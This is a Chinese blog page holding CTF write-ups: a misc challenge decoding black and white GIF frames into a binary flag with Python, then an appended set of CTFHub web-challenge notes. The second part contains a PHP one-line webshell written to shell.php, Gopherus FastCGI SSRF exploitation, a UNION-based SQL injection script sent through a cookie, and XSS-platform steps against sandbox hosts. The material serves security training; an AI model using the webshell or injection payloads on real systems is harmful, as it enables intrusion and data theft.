gif的writeup

    大家好,这次为大家带来的是攻防世界misc部分gif的writeup。
    先下载附件,是一个压缩包。二话不说,先解压。打开解压后的文件夹后,发现又有两个文件夹,打开第一个文件夹,里面只有一张损坏的图片,看起来没什么价值。打开第二个文件夹,里面是一堆或黑或白的图片,自然而然想到可能黑图和白图对应二进制码中的1和0。

在这里插入图片描述

    因为直接手动转换太慢,所以,我用python写了一个将其转换为二进制的脚本。

path = input("输入图片所在文件夹")
img0 = open(path + "\\" + "0.jpg", "rb")
img0 = img0.read()
out = ""
i = 0
while i <= 103:
    img = open(path + "\\" + str(i) + ".jpg", "rb")
    img = img.read()
    if img == img0:
        out += "0"
    else:
        out += "1"
    i += 1
f = open(path + "\\" + "result.txt", "w")
f.write(out)

    运行之后得到二进制码:01100110011011000110000101100111011110110100011001110101010011100101111101100111011010010100011001111101。
    还是那句话,手动转码太慢,上代码。

path = input("输入写字本所在文件夹")
f = open(path + "\\" + "result.txt", "r")
strings = f.read().rstrip()
i = 0
s = ""
out = ""
while i <= len(strings) - 1:
    s += strings[i]
    if i % 8 == 7:
        out += chr(int(s, 2))
        s = ""
    i += 1
f = open(path + "\\" + "result.txt", "w")
f.write(out)

    运行之后得到flag:FuN_giF。

以下是部分 CTFHub web 基础教程的 writeup: - **信息泄漏**: ```bash # 安装 dirsearch 包 sudo apt-get install dirsearch # 目录扫描,-u 用于指定要扫描的 URL sudo dirsearch -u "http://challenge-74ace4f302db1181.sandbox.ctfhub.com:10800/" # 进入相关目录 ls cd site ls cd challenge-74ace4f302db1181.sandbox.ctfhub.com:10800/ ls # 扫描程序获取当前 Git 仓库的提交历史信息 git log # 在 Git 中配置一个名为 safe.directory 的全局设置,指定安全目录 git config --global --add safe.directory /home/kali/Desktop/GitHack/site/challenge-74ace4f302db1181.sandbox.ctfhub.com:10800 ls git log ``` - **SSRF 通关攻略之 FastCGI 协议**: ```bash # 在 kali 里下载 gopherus 工具并解压 git clone https://github.com/tarunkant/Gopherus.git # 在文件里打开终端,执行命令 python2 gopherus.py --exploit fastcgi ``` 判断文件是否存在,通过访问不同文件观察返回信息: ```bash # 尝试访问首页文件 访问首页文件 index.php # 访问不存在的文件 输入 wjf.php 显示 404,说明 index.php 存在 ``` 注入木马及编码操作: ```bash # 一句话木马 <?php @eval($_POST['cmd']);?> # base64 编码 PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= # 解码并保存为 shell.php echo "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=" | base64 -d > shell.php ``` 连接木马: ```bash # 打开蚁剑,右键添加数据,添加木马文件 http://challenge-641b288f17028a60.sandbox.ctfhub.com:10800/wjf123.php ``` - **SQL 注入**: ```python import requests def mySQL(payload): url = 'http://challenge-196392c6b0acebd8.sandbox.ctfhub.com:10800/' header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36", "Cookie": "id=-1 " + payload + "; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F", } r = requests.get(url, headers=header) return r.text print(mySQL("union select 1,group_concat(schema_name)from information_schema.schemata")) print(mySQL("union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'")) print(mySQL("union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='srdnlrlphq'")) print(mySQL("union select 1,group_concat(icehhmfjxt) from sqli.srdnlrlphq")) ``` - **XSS**:分析完后利用前面的 XSS 网站生成 XSS 攻击代码。注册完进入页面,点击“我的项目”后面的“创建”,选择默认配置,拉到最下面点击“下一步”,将生成的代码拼接到原题目网址后面的 `?name=` 后面,再输入到第二个框内,点击“send”。成功后回到 XSS 网站点击项目内容查看记录[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值